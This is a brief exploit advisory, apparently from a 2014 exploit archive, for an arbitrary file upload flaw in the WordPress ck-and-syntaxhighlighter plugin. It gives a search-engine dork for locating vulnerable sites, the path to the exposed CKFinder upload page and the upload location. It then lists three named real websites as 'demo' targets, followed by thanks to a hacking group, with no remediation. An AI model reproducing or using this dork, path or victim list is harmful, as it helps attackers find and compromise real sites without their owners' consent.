WordPress CK-And-SyntaxHighLighter Arbitrary File Upload

`[+] Title: Wordpress ck-and-syntaxhighlighter Plugin RFU vulnerability  
[+] Date: 2014-08-12  
[+] Author: Hekt0r  
[+] Tested on: Windows7 & Kali Linux  
[+] Vendor Homepage: http://wordpress.org/  
[+] Software Link: http://wordpress.org/plugins/ck-and-syntaxhighlighter/  
[+] Dork : inurl:/wp-content/plugins/ck-and-syntaxhighlighter/  
### POC:  
http://localhost/wordpress/wp-content/plugins/ck-and-syntaxhighlighter/ckfinder/ckfinder.html  
[+] File Uploaded:  
http://localhost/wordpress/wp-content/uploads/ckfinder/files/file.txt  
### Demo:  
http://www.tourgueniev.fr/wp-content/plugins/ck-and-syntaxhighlighter/ckfinder/ckfinder.html  
http://www.neihuecc.org/wp-content/plugins/ck-and-syntaxhighlighter/ckfinder/ckfinder.html  
http://blog.itacm.cn/wp-content/plugins/ck-and-syntaxhighlighter/ckfinder/ckfinder.html  
### Credits:  
[+] Special Thanks: Root SmasheR, Mr.Moein, UmPire, Qzz, Ali Ahmady,  
Saeed.Jok3r  
M4hdi, Vahid Hαcĸer, BlackErroR, Phantom.S3c  
And All members of Iran Security Group  
[+] iransec.net  
`